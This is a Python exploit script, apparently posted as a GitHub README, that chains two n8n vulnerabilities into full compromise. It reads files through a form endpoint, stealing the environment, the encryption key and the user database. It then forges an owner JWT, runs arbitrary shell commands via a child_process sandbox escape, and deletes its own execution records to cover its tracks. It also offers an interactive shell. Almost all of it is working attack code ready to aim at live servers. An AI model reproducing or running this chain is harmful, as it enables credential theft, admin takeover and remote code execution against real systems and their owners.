README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain Exploit
Arbitrary File Read → Admin Token Forge → Sandbox Bypass → RCE
Author: Chocapikk
GitHub: https://github.com/Chocapikk/CVE-2026-21858
"""
import argparse
import hashlib
import json
import logging
import os
import secrets
import sqlite3
import string
import tempfile
from base64 import b64encode
import jwt
import requests
logging.basicConfig(format="%(message)s", level=logging.INFO)
logger = logging.getLogger(__name__)
BANNER = """
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║
║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
║ ║
║ by Chocapikk ║
╚═══════════════════════════════════════════════════════════════╝
"""
RCE_PAYLOAD = '={{ (function() { var require = this.process.mainModule.require; var execSync = require("child_process").execSync; return execSync("CMD").toString(); })() }}'
def randstr(n: int = 12) -> str:
return "".join(secrets.choice(string.ascii_lowercase + string.digits) for _ in range(n))
def randpos() -> list[int]:
return [secrets.randbelow(500) + 100, secrets.randbelow(500) + 100]
class Ni8mare:
def __init__(self, base_url: str, form_path: str):
self.base_url = base_url.rstrip("/")
self.form_url = f"{self.base_url}/{form_path.lstrip('/')}"
self.session = requests.Session()
self.admin_token = None
def _api(self, method: str, path: str, **kwargs) -> requests.Response | None:
kwargs.setdefault("timeout", 30)
kwargs.setdefault("cookies", {"n8n-auth": self.admin_token} if self.admin_token else {})
resp = self.session.request(method, f"{self.base_url}{path}", **kwargs)
return resp if resp.ok else None
def _lfi_payload(self, filepath: str) -> dict:
return {
"data": {},
"files": {
f"f-{randstr(6)}": {
"filepath": filepath,
"originalFilename": f"{randstr(8)}.bin",
"mimetype": "application/octet-stream",
"size": secrets.randbelow(90000) + 10000
}
}
}
def _build_nodes(self, command: str) -> tuple[list, dict, str, str]:
trigger_name, rce_name = f"T-{randstr(8)}", f"R-{randstr(8)}"
result_var = f"v{randstr(6)}"
payload_value = RCE_PAYLOAD.replace("CMD", command.replace('"', '\\"'))
nodes = [
{"parameters": {}, "name": trigger_name, "type": "n8n-nodes-base.manualTrigger",
"typeVersion": 1, "position": randpos(), "id": f"t-{randstr(12)}"},
{"parameters": {"values": {"string": [{"name": result_var, "value": payload_value}]}},
"name": rce_name, "type": "n8n-nodes-base.set", "typeVersion": 2,
"position": randpos(), "id": f"r-{randstr(12)}"}
]
connections = {trigger_name: {"main": [[{"node": rce_name, "type": "main", "index": 0}]]}}
return nodes, connections, trigger_name, rce_name
# ========== Arbitrary File Read (CVE-2026-21858) ==========
def read_file(self, filepath: str, timeout: int = 30, retries: int = 1) -> bytes | None:
for i in range(retries):
try:
resp = self.session.post(
self.form_url, json=self._lfi_payload(filepath),
headers={"Content-Type": "application/json"}, timeout=timeout
)
if resp.ok and resp.content:
return resp.content
except requests.RequestException:
pass
if i < retries - 1:
import time
time.sleep(2)
return None
def get_version(self) -> tuple[str, bool]:
resp = self._api("GET", "/rest/settings", timeout=10)
version = resp.json().get("data", {}).get("versionCli", "0.0.0") if resp else "0.0.0"
major, minor = map(int, version.split(".")[:2])
return version, major < 1 or (major == 1 and minor < 121)
def get_home(self) -> str | None:
data = self.read_file("/proc/self/environ")
if not data:
return None
for var in data.split(b"\x00"):
if var.startswith(b"HOME="):
return var.decode().split("=", 1)[1]
return None
def get_key(self, home: str) -> str | None:
data = self.read_file(f"{home}/.n8n/config")
return json.loads(data).get("encryptionKey") if data else None
def get_db(self, home: str) -> bytes | None:
return self.read_file(f"{home}/.n8n/database.sqlite", timeout=120, retries=3)
def extract_admin(self, db: bytes) -> tuple[str, str, str] | None:
tmp = tempfile.NamedTemporaryFile(suffix=".db", delete=False)
try:
tmp.write(db)
tmp.close()
conn = sqlite3.connect(tmp.name)
row = conn.execute("SELECT id, email, password FROM user WHERE role='global:owner' LIMIT 1").fetchone()
conn.close()
finally:
os.unlink(tmp.name)
return (row[0], row[1], row[2]) if row else None
def forge_token(self, key: str, uid: str, email: str, pw_hash: str) -> str:
secret = hashlib.sha256(key[::2].encode()).hexdigest()
h = b64encode(hashlib.sha256(f"{email}:{pw_hash}".encode()).digest()).decode()[:10]
self.admin_token = jwt.encode({"id": uid, "hash": h}, secret, "HS256")
return self.admin_token
def verify_token(self) -> bool:
return self._api("GET", "/rest/users", timeout=10) is not None
# ========== RCE (CVE-2025-68613) ==========
def rce(self, command: str) -> str | None:
nodes, connections, _, _ = self._build_nodes(command)
wf_name = f"wf-{randstr(16)}"
workflow = {"name": wf_name, "active": False, "nodes": nodes,
"connections": connections, "settings": {}}
resp = self._api("POST", "/rest/workflows", json=workflow, timeout=10)
if not resp:
return None
wf_id = resp.json().get("data", {}).get("id")
if not wf_id:
return None
run_data = {"workflowData": {"id": wf_id, "name": wf_name, "active": False,
"nodes": nodes, "connections": connections, "settings": {}}}
resp = self._api("POST", f"/rest/workflows/{wf_id}/run", json=run_data, timeout=30)
if not resp:
self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
return None
exec_id = resp.json().get("data", {}).get("executionId")
result = self._get_result(exec_id) if exec_id else None
self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
return result
def _get_result(self, exec_id: str) -> str | None:
resp = self._api("GET", f"/rest/executions/{exec_id}", timeout=10)
if not resp:
return None
data = resp.json().get("data", {}).get("data")
if not data:
return None
parsed = json.loads(data)
for item in reversed(parsed):
if isinstance(item, str) and len(item) > 3 and item not in ("success", "error"):
return item.strip()
return None
# ========== Full Chain ==========
def pwn(self) -> bool:
home = self.get_home()
if not home:
logger.error("HOME directory: Not found")
return False
logger.info("HOME directory: %s", home)
key = self.get_key(home)
if not key:
logger.error("Encryption key: Failed")
return False
logger.info("Encryption key: %s...", key[:8])
db = self.get_db(home)
if not db:
logger.error("Database: Failed")
return False
logger.info("Database: %d bytes", len(db))
admin = self.extract_admin(db)
if not admin:
logger.error("Admin user: Not found")
return False
uid, email, pw = admin
logger.info("Admin user: %s", email)
self.forge_token(key, uid, email, pw)
logger.info("Token forge: OK")
if not self.verify_token():
logger.error("Admin access: Rejected")
return False
logger.info("Admin access: GRANTED!")
logger.info("Cookie: n8n-auth=%s", self.admin_token)
self._cleanup_executions()
logger.info("Cleanup: OK")
return True
def _cleanup_executions(self) -> None:
# Each LFI read stores the returned file as execution binary data.
# Reading database.sqlite causes exponential growth (the DB contains itself).
# Delete recent execution records (last 1 minute) and VACUUM to reclaim space.
js = (
"var s = require('sqlite3');\n"
"var d = new s.Database(process.env.HOME + '/.n8n/database.sqlite');\n"
"d.run(\"DELETE FROM execution_data WHERE executionId IN "
"(SELECT id FROM execution_entity WHERE startedAt >= datetime('now', '-1 minutes'))\", function() {\n"
" d.run(\"DELETE FROM execution_entity WHERE startedAt >= datetime('now', '-1 minutes')\", function() {\n"
" d.run(\"VACUUM\", function() { d.close() });\n"
" });\n"
"});\n"
)
self.rce(f"echo {b64encode(js.encode()).decode()} | base64 -d | node")
def parse_args():
p = argparse.ArgumentParser(description="n8n Ni8mare - Full Chain Exploit")
p.add_argument("url", help="Target URL (http://target:5678)")
p.add_argument("form", help="Form path (/form/upload)")
p.add_argument("--read", metavar="PATH", help="Read arbitrary file")
p.add_argument("--cmd", metavar="CMD", help="Execute single command")
p.add_argument("-o", "--output", metavar="FILE", help="Save LFI output to file")
return p.parse_args()
def run_read(exploit: Ni8mare, path: str, output: str | None) -> None:
data = exploit.read_file(path)
if not data:
logger.error("File read failed")
return
logger.info("%d bytes", len(data))
if output:
with open(output, "wb") as f:
f.write(data)
logger.info("Saved: %s", output)
return
print(data.decode())
def run_cmd(exploit: Ni8mare, cmd: str) -> None:
out = exploit.rce(cmd)
if not out:
logger.error("RCE: Failed")
return
logger.info("RCE: OK")
print(f"\n{out}")
def run_shell(exploit: Ni8mare) -> None:
logger.info("Interactive mode (type 'exit' to quit)")
while True:
try:
cmd = input("n8n> ").strip()
except (EOFError, KeyboardInterrupt):
print()
return
if not cmd or cmd == "exit":
return
out = exploit.rce(cmd)
if out:
print(out)
def main():
print(BANNER)
args = parse_args()
exploit = Ni8mare(args.url, args.form)
version, vuln = exploit.get_version()
logger.info("Target: %s", exploit.form_url)
logger.info("Version: %s (%s)", version, "VULN" if vuln else "SAFE")
if args.read:
run_read(exploit, args.read, args.output)
return
if not exploit.pwn():
return
if args.cmd:
run_cmd(exploit, args.cmd)
return
run_shell(exploit)
if __name__ == "__main__":
main()